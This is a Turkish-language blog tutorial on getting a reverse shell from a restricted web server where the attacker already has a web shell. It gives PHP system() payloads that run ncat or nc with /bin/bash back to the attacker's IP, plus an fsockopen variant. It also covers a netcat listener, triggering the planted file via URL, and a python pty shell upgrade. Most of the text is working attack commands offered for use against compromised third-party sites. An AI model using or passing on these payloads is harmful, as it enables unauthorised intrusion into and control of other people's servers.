Kısıtlı Sunucuda Reverse Shell Almak
Kısıtlı Sunucuda Reverse Shell Almak için ilk öncelikle reverse shellden bahsetmekte fayda var. Reverse Shell ters kabuk anlamına gelir. Saldırgan makinenin hedef makine ile kurduğu bir shelldir. Saldırgan kendi bilgisayarından hedef sunucuda komut çalıştırıp çıktısını alır.
Shell konumuzda nasıl koyalıkla reverse shell alabileceğinizi göstermiştik. Web Shell Nedir ? Detaylı anlatım için bu konumuzu kesinlikle okuyun: https://www.secure.web.tr/web-shell-nedir-ne-ise-yarar/
Bu konumuzda komut çalıştırma fonksiyonlarının birçoğu kısıtlı olan, web shellde BC (back connect) kısmı çalışmayan sunucuda reverse shell almayı gösteriyoruz.
Kısıtlı Sunucuda Nasıl Reverse Shell Alınır ?
İlk olarak shellimize bakalım

Disable Functions bölümüne baktığımızda bir çok komut çalıştırma komutumuz disabled (kapalı)
BC kısmına geldiğimizde ise reverse shell alamıyoruz.
Disable funcitonsları kontrol edelim. Disable Funcitons bölümün yanında bulunan Show All yazan bölüme tıklıyoruz

Burada system komutunu göremedik. System komutu PHP dilinde komut çalıştırmamızı sağlayan bir fonksiyon.
Bu fonksiyonu kullanarak reverse shell alabiliriz.

Make File diyerek reverse.php adında bir dosya oluşturmaya çalışıyorum.

Fakat sunucu o kadar kısıtlı ki sunucuda dosya oluşturmamıza bile izin vermiyor. System fonksiyonunu kullanmak için hazır PHP dosyalarını kullanabilirsiniz veya shelli upload ettiğimiz yerden PHP dosyamızı upload (yükleyebiliriz) edebiliriz. Ben sitede bulunan bir PHP dosyasını kullanacağım.
PHP dosyamızı açıp içine
<?php system("ncat 127.0.0.1 4444 -e /bin/bash") ?>
Yazıyoruz. Sizler 127.0.0.1 yerine IP adresinizi yazabilirsiniz.
Sonra bunu kaydediyoruz.
Terminalimizi açıyoruz.
netcat -nlvp 4444
Yazıyoruz ve enter diyoruz.

Evet şuan 4444 portunu dinliyoruz. Şimdi tek yapmamız gereken yazdığımız PHP kodunu çalıştırmak. Bunun için PHP kodumuzun yazılı olduğu dosyayı internetten açmamız gerekiyor.
site.com/dosyanız.php adresine giderek çalıştırıyoruz.

Evet şimdi adresimize isteğimizi attığımız gibi reverse shelli alacağız.

Evet Connection received (bağlantı alındı) yazısı geldi.
Şimdi bir komut çalıştıralım.

Evet gördüğümüz gibi komut çalışıyor. Fakat bu shell çok kullanışsız. Bulunduğumuz dizini hangi kullanıcıda olduğumuzu vs göstermemekte.
Bunun için hemen şu komuyu yazıyoruz.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Sunucuda python3 yüklü olmayabilir. Başta bulunan python3 yerine sadece python yazmanız yeterli olacaktır.
Evet komutumuzu girelim.

Girdikten sonra bulunduğumuz kullanıcı ve dizin önümüze geldi. Shellimiz güzelleşti. Daha da verimli bir hale geldi.
Evet böylelikle kısıtlı sunucudan shell aldık.
Bir diğer yöntem bash ile reverse shell almaktır.
PHP dosyamızın içine bu komutu yazabilrsiniz.
<?php system("/bin/sh 0</tmp/backpipe | nc 127.0.0.1 4444 1>/tmp/backpipe")?>
127.0.0.1 yerine kendi IP adresinizi yazabilirsiniz.
Sonrası yukarıda bulunan işlemlerin aynısı.
<?php
$sock=fsockopen("127.0.0.1",4444);system("/bin/sh -i <&3 >&3 2>&3");
?>
Bu yöntemide kullanabilirsiniz.
Bir sürü Reverse Shell yöntemi var. Daha fazlasını görmek isterseniz şu bağlantıyı kaynak olarak bırakayım.
Okuduğunuz için teşekkürler. Bu konumuzu mutlaka okuyun: